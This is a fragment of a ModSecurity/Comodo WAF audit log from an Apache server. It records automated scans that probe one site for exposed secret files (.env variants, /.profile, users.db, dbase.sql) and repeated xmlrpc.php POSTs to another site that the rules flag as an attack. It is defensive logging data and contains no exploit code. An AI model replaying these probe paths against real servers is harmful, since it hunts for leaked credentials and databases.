_sfs_id=bd04d04dec2035450ca9e92b27fee2851750017154; expires=Sun, 15 Jun 2025 20:52:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aba5bc39-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dbase.sql"] [unique_id "aE8kgT3D4g1mGjVnV5KJYAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017153667416 646332 (- - -) Stopwatch2: 1750017153667416 646332; combined=1727, p1=316, p2=1320, p3=0, p4=0, p5=91, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aba5bc39-Z-- --7013ab1f-A-- [16/Jun/2025:01:22:34.847914 +0530] aE8kgSCwfN5GtQhYhHBG7AAAAAw 128.199.112.101 47182 127.0.0.1 7081 --7013ab1f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7013ab1f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7013ab1f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8kgSCwfN5GtQhYhHBG7AAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017153925372 922619 (- - -) Stopwatch2: 1750017153925372 922619; combined=2362, p1=366, p2=1573, p3=45, p4=67, p5=192, sr=99, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7013ab1f-Z-- --61a7e841-A-- [16/Jun/2025:01:22:43.330331 +0530] aE8kijwutQMQaeKIpO_PCwAAAAg 185.177.72.210 42784 127.0.0.1 7081 --61a7e841-B-- GET /:8880/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61a7e841-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1672963d7d92312398d646dda9285a561750017163; expires=Sun, 15 Jun 2025 20:52:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61a7e841-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/cgi-bin/.env"] [unique_id "aE8kijwutQMQaeKIpO_PCwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017162667757 662638 (- - -) Stopwatch2: 1750017162667757 662638; combined=1960, p1=413, p2=1452, p3=0, p4=0, p5=94, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61a7e841-Z-- --327a5174-A-- [16/Jun/2025:01:23:34.255174 +0530] aE8kvbGjXXuxVCJENBCrxgAAAAk 128.199.112.101 33758 127.0.0.1 7081 --327a5174-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --327a5174-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --327a5174-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8kvbGjXXuxVCJENBCrxgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017213284003 971237 (- - -) Stopwatch2: 1750017213284003 971237; combined=2390, p1=376, p2=1537, p3=50, p4=73, p5=216, sr=85, sw=138, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --327a5174-Z-- --3a19692f-A-- [16/Jun/2025:01:23:39.140173 +0530] aE8kwofvqn7_SDWw_wX43wAAAAc 185.177.72.210 33942 127.0.0.1 7081 --3a19692f-B-- GET /backup/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a19692f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d945527f9d885a2da5e8087e3234e99e1750017218; expires=Sun, 15 Jun 2025 20:53:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a19692f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.dev"] [unique_id "aE8kwofvqn7_SDWw_wX43wAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017218346824 793426 (- - -) Stopwatch2: 1750017218346824 793426; combined=2023, p1=395, p2=1533, p3=0, p4=0, p5=94, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a19692f-Z-- --b690c46d-A-- [16/Jun/2025:01:23:43.308712 +0530] aE8kxuuqUCmpR0cewAv-2QAAAAE 185.177.72.210 42942 127.0.0.1 7081 --b690c46d-B-- GET /ch6-mytodo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b690c46d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=66efef36a862a08376a4969bdabdce7e1750017223; expires=Sun, 15 Jun 2025 20:53:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b690c46d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/ch6-mytodo/.env"] [unique_id "aE8kxuuqUCmpR0cewAv-2QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017222645827 662987 (- - -) Stopwatch2: 1750017222645827 662987; combined=1598, p1=327, p2=1154, p3=0, p4=0, p5=116, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b690c46d-Z-- --821e637d-A-- [16/Jun/2025:01:23:47.348934 +0530] aE8kyjwutQMQaeKIpO_PJwAAAAg 185.177.72.210 43140 127.0.0.1 7081 --821e637d-B-- GET /packages/plugin-qiankun/examples/app3/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --821e637d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3f5c429c9f4b6c42692c459cba778f761750017227; expires=Sun, 15 Jun 2025 20:53:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --821e637d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/plugin-qiankun/examples/app3/.env"] [unique_id "aE8kyjwutQMQaeKIpO_PJwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017226690975 658036 (- - -) Stopwatch2: 1750017226690975 658036; combined=2040, p1=480, p2=1462, p3=0, p4=0, p5=97, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --821e637d-Z-- --397d7d23-A-- [16/Jun/2025:01:24:00.634862 +0530] aE8k1zwutQMQaeKIpO_PLQAAAAg 185.177.72.210 43580 127.0.0.1 7081 --397d7d23-B-- GET /blogs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --397d7d23-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0d262773c604f185a58cda81c70888a11750017240; expires=Sun, 15 Jun 2025 20:54:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --397d7d23-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/blogs/.env"] [unique_id "aE8k1zwutQMQaeKIpO_PLQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017239981467 653467 (- - -) Stopwatch2: 1750017239981467 653467; combined=1957, p1=395, p2=1476, p3=0, p4=0, p5=86, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --397d7d23-Z-- --eae4d008-A-- [16/Jun/2025:01:24:11.251865 +0530] aE8k4ofvqn7_SDWw_wX47AAAAAc 185.177.72.210 53426 127.0.0.1 7081 --eae4d008-B-- GET /.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eae4d008-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b29bb5d900aa9843e35f52dafe1329e91750017251; expires=Sun, 15 Jun 2025 20:54:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eae4d008-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.copy"] [unique_id "aE8k4ofvqn7_SDWw_wX47AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017250538157 713785 (- - -) Stopwatch2: 1750017250538157 713785; combined=1918, p1=411, p2=1393, p3=0, p4=0, p5=113, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eae4d008-Z-- --eef3956b-A-- [16/Jun/2025:01:24:23.319498 +0530] aE8k7rGjXXuxVCJENBCr4gAAAAk 185.177.72.210 39104 127.0.0.1 7081 --eef3956b-B-- GET /.profile HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eef3956b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5af8cd5beca33c063ac31bb7053c5f261750017263; expires=Sun, 15 Jun 2025 20:54:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eef3956b-H-- Message: Warning. String match "/.profile" at REQUEST_FILENAME. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "6621"] [id "243320"] [rev "1"] [msg "COMODO WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242, as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)||www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. String match "/.profile" at REQUEST_FILENAME. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "6621"] [id "243320"] [rev "1"] [msg "COMODO WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242, as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)||www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.mindscan.edu.in"] [uri "/.profile"] [unique_id "aE8k7rGjXXuxVCJENBCr4gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017262645032 674533 (- - -) Stopwatch2: 1750017262645032 674533; combined=1994, p1=341, p2=1556, p3=0, p4=0, p5=97, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eef3956b-Z-- --561c0272-A-- [16/Jun/2025:01:24:24.297199 +0530] aE8k7z3D4g1mGjVnV5KJlQAAAAY 185.177.72.210 39212 127.0.0.1 7081 --561c0272-B-- GET /test/fixtures/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --561c0272-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=821917b6d59cb244ef0210dc6a61bb661750017264; expires=Sun, 15 Jun 2025 20:54:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --561c0272-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/fixtures/.env"] [unique_id "aE8k7z3D4g1mGjVnV5KJlQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017263639688 657572 (- - -) Stopwatch2: 1750017263639688 657572; combined=1934, p1=365, p2=1468, p3=0, p4=0, p5=100, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --561c0272-Z-- --35c70e47-A-- [16/Jun/2025:01:24:27.279153 +0530] aE8k8j6fDirgE_qJvgHMuQAAAAA 185.177.72.210 39618 127.0.0.1 7081 --35c70e47-B-- GET /users.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --35c70e47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5f2c32af7126f9cdf74c62b7d744441d1750017267; expires=Sun, 15 Jun 2025 20:54:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --35c70e47-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/users.db"] [unique_id "aE8k8j6fDirgE_qJvgHMuQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017266619793 659441 (- - -) Stopwatch2: 1750017266619793 659441; combined=1999, p1=323, p2=1594, p3=0, p4=0, p5=81, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --35c70e47-Z-- --78e57846-A-- [16/Jun/2025:01:24:32.107535 +0530] aE8k9-uqUCmpR0cewAv-9wAAAAE 185.177.72.210 37656 127.0.0.1 7081 --78e57846-B-- GET /preview-env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --78e57846-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f063f23af6fd9843a5a39cf86c7f61f1750017271; expires=Sun, 15 Jun 2025 20:54:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --78e57846-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/preview-env/.env"] [unique_id "aE8k9-uqUCmpR0cewAv-9wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017271453082 654515 (- - -) Stopwatch2: 1750017271453082 654515; combined=2195, p1=514, p2=1591, p3=0, p4=0, p5=89, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --78e57846-Z-- --b1228316-A-- [16/Jun/2025:01:24:34.474243 +0530] aE8k-SCwfN5GtQhYhHBHJAAAAAw 128.199.112.101 37748 127.0.0.1 7081 --b1228316-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b1228316-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b1228316-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev 